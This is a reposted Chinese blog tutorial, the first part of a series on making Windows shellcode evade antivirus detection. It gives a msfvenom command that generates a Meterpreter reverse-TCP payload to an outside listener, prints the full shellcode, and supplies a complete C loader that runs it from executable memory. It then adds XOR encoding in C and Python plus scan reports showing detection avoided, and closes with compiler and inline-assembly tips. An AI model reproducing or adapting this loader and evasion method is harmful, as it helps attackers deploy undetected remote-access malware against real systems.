免杀那点事儿之windows的shellcode(一)
2022-10-20 01:52:43 Author: 蓝极战队(查看原文) 阅读量:17 收藏

其实鄙人对所谓的免杀从来没怎么上心研究过,因为很多时候程序都是自己写的,并且根据不同场景可以灵活的调整。

比如这款pipe的木马,是去年心血来潮写的,到现在还是呆萌呆萌的免杀。

额~~~大蜘蛛抽风了吗?居然检测出是木马~~~~

附上2022/10/19新鲜出炉的检测报告

https://www.virscan.org/report/fc757aa74e23d58913e00b431bf4487175edf52c5aec16e7754cee1198a34100

好吧,不扯远了,这都是无伤大雅的事情。

综上所述,最好的免杀就是~~~~

遵循一切安全规则的前提条件下达到自己的目的。

----zngeek

但是最近有朋友托我看看针对于windows的X86和X64的shellcode载荷的免杀,就索性研究了一下。

因为这里面想分享的东西太多了,一篇幅的文章肯定是写不完的,我也不知道要写多少,索性就是弄个专题吧,写到哪天我觉得我知道的已经分享完了,就完结~~~~

来,跟着我的思路开始

首先,shellcode就是一段二进制文件,我们要将它放入内存中,然后让CPU去读取运算这段二进制数据。安全软件的各种所谓的骚操作骚技术无非我总结下来是以下几点:

1、特征

为什么很多自己写的程序比较容易过安全软件的扫描,很大一部分原因是它没有我的特征,如果是发布过的并且有大量人使用,那么特征一定是被记录得明明白白。特征包含的就太广了,比如最浅显的hash值,更多的是程序内的某一段固定的二进制数据等等。

2、内存

监测载入内存的二进制数据,从而分析是否有违反规则的数据。

3、行为

判断程序执行的种种行为是否存在违规行为。

举个简单的例子,如果你直接新增注册表的run键值,那么99.999999%都会把你干掉,因为我们的程序是"野生"的,没有各种安全软件的白名单认可,但是换个思路,如果我是以安全软件认证的白名单去执行这个操作呢?

4、大数据&AI

longlong鹅狗,那时候没有什么大数据,人工智能等等的东西,我们只用针对于安全程序本身的病毒库、行为分析等等就能够完全欺骗过去。但是现在我们更多的要针对于上传到云的AI分析,庞大的运算速率分析,很难逃得过去,今天我在virscan上传了我的木马进行检测,很有可能明天就会被查杀掉。(所以,发布出来的,你可以借鉴,但是不能依赖。引用一句骚话:过于落后,可以展示)

我觉得百科这句话总结得很到位

------可爱的分割线------

这里我们由浅到深来,以下我都以C语言为例进行原理性的演示。

shellcode就用现在很多人喜欢用的老外的什么msf生成的木马为例。

首先介绍两个win的API

1、VirtualAlloc()

看一下百科怎么说的

翻译成我们要实现本次目的通俗的人话就是,开辟一段内存空间用来存放我们要写入的二进制数据。

这个API函数有四个参数

LPVOID lpAddress //分配内存区域的地址

SIZE_T dwSize //分配内存的大小

flAllocationType //分配的类型

DWORD flProtect //初始保护属性

对应的值感兴趣的自己去了解,这里就不废话了。

2、memcpy()

从字面来看,就是内存数据的copy,上面我们开辟了内存空间,当然要把我们的二进制数据copy进去。

该API函数有三个参数

destin //指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。

source //指向要复制的数据源,类型强制转换为 void* 指针。

n //要被复制的字节数。

有这两个win的API就够了,下面就开始写我们的代码

首先用msfvenom生成一个C语言的shellcode,x64或者x86都无所谓,编译的时候用不同架构编译即可。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.1.210 LPORT=9115 -f c > x64.c

    

得到的shellcode如下

unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50""\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52""\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48""\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41""\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41""\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f""\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0""\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49""\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88""\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1""\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8""\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44""\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58""\x48\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83""\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9""\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00""\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49""\x89\xe5\x49\xbc\x02\x00\x23\x9b\x0a\x01\x01\xd2\x41\x54""\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5""\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b""\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31""\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41""\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58""\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5""\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00""\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58""\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00""\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68""\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba""\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31""\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9""\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68""\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f""\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49""\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48""\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2""\xf0\xb5\xa2\x56\xff\xd5";

然后定义一个char指针,用VirtualAlloc()开辟一块内存并且把地址赋予指针。

char *Memory;Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

第一个参数可以为空,自由分配,第二个参数取我们的shellcode大小赋值,第三个参数COMMIT和RESERVE类型,就是提交物理内存和保留该内存空间,第四个参数PAGE_EXECUTE_READWRITE代表开辟的内存区域可以执行二进制数据,应用程序可以读写该区域二进制数据。

接着我们需要往我们开辟的内存里面写入二进制数据

memcpy(Memory, buf, sizeof(buf));

成功将buf写入后,最后就是告诉CPU去运算这段内存二进制数据吧!!!

((void(*)())Memory)();

至此,我们基本载入shellcode的框架就写完了。

完整代码如下:

#include <Windows.h>
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50""\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52""\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48""\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41""\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41""\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f""\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0""\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49""\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88""\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1""\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8""\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44""\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58""\x48\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83""\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9""\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00""\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49""\x89\xe5\x49\xbc\x02\x00\x23\x9b\x0a\x01\x01\xd2\x41\x54""\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5""\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b""\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31""\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41""\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58""\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5""\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00""\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58""\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00""\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68""\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba""\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31""\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9""\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68""\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f""\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49""\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48""\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2""\xf0\xb5\xa2\x56\xff\xd5";
int main(){ char *Memory; Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)();}

直接编译引用x64的lib

gcc.exe "x64.c" -o "x64.exe" -mwindows -I"MinGW64\include" -I"x86_64-w64-mingw32\include" -I"x86_64-w64-mingw32\4.9.2\include" -L"x86_64-w64-mingw32\lib" -static-libgcc -mwindows

运行看看,上线成功

    

至此,我们的shellcode算是成功的运行了,看看免杀情况怎么样。

360居然免杀

360木马查杀扫描日志开始时间: 2022-10-20 00:13:06扫描用时: 00:00:07扫描类型: 自定义扫描扫描引擎:360云查杀引擎(本地木马库)  360启发式引擎  QEX脚本查杀引擎 扫描文件数: 1系统关键位置文件: 0系统内存运行模块: 0压缩包文件: 0安全的文件数: 1发现安全威胁: 0已处理安全威胁: 0
扫描选项扫描后自动关机: 否扫描模式: 速度最快管理员:是
扫描内容C:\Users\Administrator.ZNGEEK\Desktop\x64.exe
扫描结果未发现安全威胁

当然,这个只是假象,上传virscan看看,报告如下

    

报告地址:https://www.virscan.org/report/e68eed43e50446df8cdbb3d73a276d1929106e3d34c69d461d50c74904863e42

------可爱的分割线------

从最开始我讲到的安全软件其中一种机制就是【内存】,我们载入内存的二进制数据是msf生成的,特征都已经被检测烂了,那么我们是不是可以对shellcode这段二进制数据做做文章呢?当然可以。

我想的是异或运算一下,在调用的时候再还原回来。

比如我将msf的shellcode异或一个0x11

int main() {  int i;  printf("shellcode is:\n");  for(i=0; i<=sizeof(buf); i++) {    buf[i]=buf[i] ^ 0x11;    printf("\\x%x",buf[i]);  }  }

当然,你也可用用python等等更简单的脚本语言来实现

import sysraw_data = "0x............................."new_shellcode = []for opcode in raw_data:        # The encoding process for each opcode        new_opcode = (ord(opcode) ^ 0x01)        new_shellcode.append(new_opcode)print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])

然后把异或过后的shellcode替换原始的shellcode,在载入之前,我们把他异或回来

int i;for(i=0; i<=sizeof(buf); i++) {  buf[i]=buf[i] ^ 0x11;}

编译过后,再来看看免杀效果。比刚刚要好多了~~~

报告地址:https://www.virscan.org/report/33cc832964bd3ffcd022b56faba11dd4e0a06ba414f7de54720c982d159f1f72

------可爱的分割线------

当然,针对于二进制数据我们还有很多可以玩的编码解码,这里只是提供一种思路,俗话说:授人与鱼不如授人与渔

今天就写到这里吧,下一篇系列文章我将着重介绍一下各种注入shellcode的骚操作方式。也就是上面说到的【行为】

时不时我写的时候想到一些冷知识,也会告诉大家。

比如:在win环境下用GCC编译C语言的的时候

1、x64系统就编译x64的,要编译32位的程序,最好是使用x86的系统环境,别问我为什么,问就是你自己去反编译一下同样代码出来的程序,你会发现一些特征是抹不去的,除非你是偏执狂大神,愿意汇编一点点的去修改,那还不如直接用一个x86的环境去编译。

2、在编写C或者C++的时候,适当的用汇编语言,会大大的增加免杀机率,具体原因我没有仔细的去分析过,估计盲猜是因为编译器翻译成二进制数据时的一些特征问题吧,比如我直接用API调用内存让cpu运算,和我用__asm call,最终得到的二进制数据是不一样的。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMDMyOTA1OA==&mid=2247484072&idx=1&sn=8f79f0005260a2d96e7d8f7545e649f7&chksm=c044f9a5f73370b368bfebf0a9bb085308f7821d85f1a76ff947cf753a1671d6a91649f6e09a#rd
如有侵权请联系:admin#unsafe.sh